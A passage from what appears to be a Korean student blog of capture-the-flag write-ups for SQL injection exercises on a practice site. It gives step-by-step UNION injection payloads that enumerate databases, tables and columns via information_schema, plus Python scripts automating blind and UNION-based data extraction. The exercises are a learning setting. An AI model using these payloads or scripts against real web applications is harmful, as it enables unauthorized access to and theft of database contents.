                    db_name+"' and table_name='"+table_name+"' limit " + \
                    str(column_cnt_idx2)+",1), "+str(column_length_idx2) + \
                    ",1)) = "+str(j)+") and '1'='1"
                res = post_request_with_retry(
                    url, payload, headers, max_retries)
                # print(payload["UserId"])
                time.sleep(0.001)

                # children이 있으면 존재하지 않는 아이디(거짓)
                if not res.history:
                    # print(children.text)
                    pass
                # 없으면 존재하는 아이디(참)
                else:
                    # print(info.text)
                    column_name += chr(j)

        print(f"       - column name: {column_name}")

        data_cnt = 0
        for data_cnt_idx in range(0, 20):
            payload["UserId"] = "normaltic' and (select (select count("+column_name + \
                ") from "+db_name+"."+table_name+") = " + \
                str(data_cnt_idx)+") and '1'='1"
            res = post_request_with_retry(url, payload, headers, max_retries)
            # print(payload["UserId"])
            time.sleep(0.001)

            # children이 있으면 존재하지 않는 아이디(거짓)
            if not res.history:
                # print(children.text)
                pass
            # 없으면 존재하는 아이디(참)
            else:
                # print(info.text)
                data_cnt = data_cnt_idx

        print(f"        - data all count: {data_cnt}")

        for data_cnt_idx2 in range(0, data_cnt):
            print(f"         - data cnt[{data_cnt_idx2}]")
            data_length = 0
            for data_length_idx in range(0, 50):
                payload['UserId'] = "normaltic' and ((select length("+column_name + \
                    ") from "+db_name+"."+table_name+" limit "+str(data_cnt_idx2)+", 1) = " + \
                    str(data_length_idx)+") and '1'='1"
                res = post_request_with_retry(
                    url, payload, headers, max_retries)
                # print(payload["UserId"])
                time.sleep(0.001)

                # children이 있으면 존재하지 않는 아이디(거짓)
                if not res.history:
                    # print(children.text)
                    pass
                # 없으면 존재하는 아이디(참)
                else:
                    # print(info.text)
                    data_length = data_length_idx

            print(f"         - data length: {data_length}")

            data_name = ""
            for data_length_idx2 in range(0, data_length+1):
                for j in range(32, 127):
                    payload["UserId"] = "normaltic' and (select ascii(substr((select "+column_name + \
                        " from "+db_name+"."+table_name+" limit "+str(data_cnt_idx2)+", 1), " + \
                        str(data_length_idx2)+", 1)) = "+str(j)+") and '1'='1"
                    res = post_request_with_retry(
                        url, payload, headers, max_retries)
                    # print(payload["UserId"])
                    time.sleep(0.001)

                    # children이 있으면 존재하지 않는 아이디(거짓)
                    if not res.history:
                        # print(children.text)
                        pass
                    # 없으면 존재하는 아이디(참)
                    else:
                        # print(info.text)
                        data_name += chr(j)

            print(f"          - data name: {data_name}")

 

파이썬을 이용해 DB의 데이터를 출력하였고 flag를 얻을 수 있었다.

 

 

3.4 SQL Injection 4

3.3 SQL Injection 3와 같이 로그인 화면을 통해 flag를 얻어야 하는 문제이다.

3.3 SQL Injection 3에서의 파이썬 코드를 통해 flag를 얻을 수 있었다.

 

 

3.5 SQL Injection 5

3.3 SQL Injection 3와 같이 로그인 화면을 통해 flag를 얻어야 하는 문제이다.

3.3 SQL Injection 3에서의 파이썬 코드를 통해 flag를 얻을 수 있었다.

 

 

3.6 SQL Injection 6

3.3 SQL Injection 3와 같이 로그인 화면을 통해 flag를 얻어야 하는 문제이다.

3.3 SQL Injection 3에서의 파이썬 코드를 통해 flag를 얻을 수 있었다.

 

 

 

반응형

댓글()

20. [6주차]-1 Union SQL Injection 문제 풀이

* 과제
1. UNION SQL Injection 복습
2. doldol 데이터만 추출하기
3. CTF 문제 풀기
 - SQL Injection 1, 2


1. UNION SQL Injection 복습

https://ssjune.tistory.com/131

 

17. [5주차]-1 SQL 인젝션 이해

* 과제1. 오늘 수업 복습2. 인증 우회 실습 문제 풀기 영어한국어일본어중국어 (간체)중국어 (번체)베트남어인도네시아어태국어독일어러시아어스페인어이탈리아어프강스어복사하기 이

ssjune.tistory.com

의 1.3 Union SQL Injection 항목에 작성하였다.

 

 

2. doldol 데이터만 추출하기

노말틱님이 준비한 사이트에서 doldol 데이터 하나만 가져오기

공부용으로 만들어진 사이트로 여기서

해당 SQL 구문을 통해 전체 목록을 가져올 수 있었다.

limit 를 추가해서 doldol 데이터만 가져올 수 있었다.

 

 

3. CTF 문제 풀기

3.1 SQL Injection 1

 

위 사이트에서 flag를 찾는 것이다.

 

1. b와 ell로 검색되는 결과를 보니 %__% 로 추측된다.

 

2. search GET 방식으로 전달되며,

select * from board where userId like '%search%';

대충 이런 구조이지 않을까 한다.

 

3. ell%' and '1%'='1

위 구문이 되는 것을 보아 SQL 인젝션이 가능하다

 

4. ell%' order by 4 #

를 통해 컬럼이 4개인 것을 확인했다.

 

5. ell%' union select 1,2,3,4 #

를 통해 어떤식으로 데이터가 보여지는 지 확인했다.

 

6. ell%' union select database(),2,3,4 #

를 통해 DB 명을 확인했다.

 

7. ell%' union select table_name,2,3,4 from information_schema.tables where table_schema = 'sqli_1' #

를 통해 테이블 명을 확인했다.

 

8. ell%' union select column_name,2,3,4 from information_schema.columns where table_name = 'flag_table' #

를 통해 컬럼을 확인한다.

* 여기서 테이블에 plusFlag_Table 도 있었지만 일단 flag_table 부터 확인했다.

 

9. ell%' union select flag,2,3,4 from flag_table #

를 통해 데이터를 확인한다.

 

여기서 flag를 얻어 통과할 수 있었다.

plusFlag_Table 에도 flag가 있었는데 이미 통과해버려서 이 flag는 동작을 할지 알 수가 없었다....

 

 

3.2 SQL Injection 2

 

두번째 CTF문제이다.

여기는 아이디에 뭘 입력하든 그대로 출력하고 있어 처음에 많이 해맸다.

그러다 기본으로 있는 normaltic을 입력해봤고

뭔가 재대로된 결과를 얻을 수 있었다.

1번 문제와 달리 like %____% 가 아닐것 같아 normaltic' and '1'='1' # 해당 구문을 넣어보니 같은 결과가 나왔다.

 

 

1. normaltic' order by 6 #

를 통해 컬럼갯수가 6개임을 확인했다.

 

2. ' union select 1,2,3,4,5,6 #

를 통해 Info 컬럼에 6이 나오는 것을 확인했다.

 

3. ' union select 1,2,3,4,5,database() #

를 통해 DB 명을 확인했다.

 

4. ' union select 1,2,3,4,5,table_name from information_schema.tables where table_schema='sqli_5' #

를 통해 테이블 명을 확인했다.

 

5. ' union select 1,2,3,4,5,column_name from information_schema.columns where table_name='flag_honey' and table_schema='sqli_5' #

를 통해 컬럼을 확인했다.

 

6. ' union select 1,2,3,4,5,flag from flag_honey #

를 통해 얻은 값은

kkkkkkk_Not Here!

...여기가 아닌가 보다.

 

여기서 생각해보니 검색 결과로 무조건 하나만 보여주는 것 같았다.

7. ' union select 1,2,3,4,5,table_name from information_schema.tables where table_schema='sqli_5' limit 0,1 #

여기서 limit 숫자 부분만 바꿔 확인해보니

 - flag_honey
 - game_user
 - secret

3개의 테이블을 찾을 수 있었다.

 

8. ' union select 1,2,3,4,5,column_name from information_schema.columns where table_name='secret' and table_schema='sqli_5' limit 0,1 #

를 통해 다시 컬럼명을 확인했다.

(limit 1,1은 없었다)

 

9. ' union select 1,2,3,4,5,flag from secret #

를 통해 얻은 값은

NONONO~~~~

...여기도 아닌가 보다.

 

이쯤하니 내가 뭘하고 뭘안했는지 헷갈리기 시작했다......

결국 파이썬 코드로 짜기로 마음먹었다.

 

더보기
import requests
from user_agent import generate_user_agent, generate_navigator
from bs4 import BeautifulSoup

//혹시 몰라 주소는 지웠습니다.
url = ''


headers = {
    'User-Agent': generate_user_agent(os='win', device_type='desktop')
}

params = {
    'search': ''
}


for i in range(0, 3):
    params['search'] = "' union select 1,2,3,4,5,table_schema from information_schema.tables limit " + \
        str(i)+",1#"
    res = requests.get(url, params=params)
    # print(res.status_code)
    # print(res.text)
    parsed_html = BeautifulSoup(res.text, "html.parser")
    info = parsed_html.find_all("div", class_="widget-26-job-title")[7]
    children = info.find("a", recursive=False)
    print(f"{i}: {children.text}")

print()

db_name = "sqli_5"
for i in range(0, 4):
    params['search'] = "' union select 1,2,3,4,5,table_name from information_schema.tables where table_schema="+"\'"+db_name+"\'"+" limit " + \
        str(i)+",1#"
    res = requests.get(url, params=params)
    # print(res.status_code)
    # print(res.text)
    parsed_html = BeautifulSoup(res.text, "html.parser")
    info = parsed_html.find_all("div", class_="widget-26-job-title")[7]
    children = info.find("a", recursive=False)
    print(f"{i}: {children.text}")


table_name = "secret"
for i in range(0, 10):
    params['search'] = "' union select 1,2,3,4,5,column_name from information_schema.columns where table_name=" + \
        "\'"+table_name+"\'"+" and table_schema=" + \
        "\'"+db_name+"\'"+" limit "+str(i)+",1 #"
    res = requests.get(url, params=params)
    # print(res.status_code)
    # print(res.text)
    parsed_html = BeautifulSoup(res.text, "html.parser")
    info = parsed_html.find_all("div", class_="widget-26-job-title")[7]
    children = info.find("a", recursive=False)
    print(f"{i}: {children.text}")

column_name = "flag"
for i in range(0, 10):
    params['search'] = "' union select 1,2,3,4,5,"+column_name + \
        " from "+db_name+"."+table_name+" limit "+str(i)+",1 #"
    res = requests.get(url, params=params)
    # print(res.status_code)
    # print(res.text)
    parsed_html = BeautifulSoup(res.text, "html.parser")
    info = parsed_html.find_all("div", class_="widget-26-job-title")[7]
    children = info.find("a", recursive=False)
    print(f"{i}: {children.text}")

 

대충 위와 같은 코드를 통해 테이블 명과 컬럼명을 바꿔가면서 실행해본 결과

기존에 찾았던 테이블에서 놓쳤던 flag를 찾을 수 있었고 해당 문제를 풀 수 있었다.

 

 

반응형

댓글()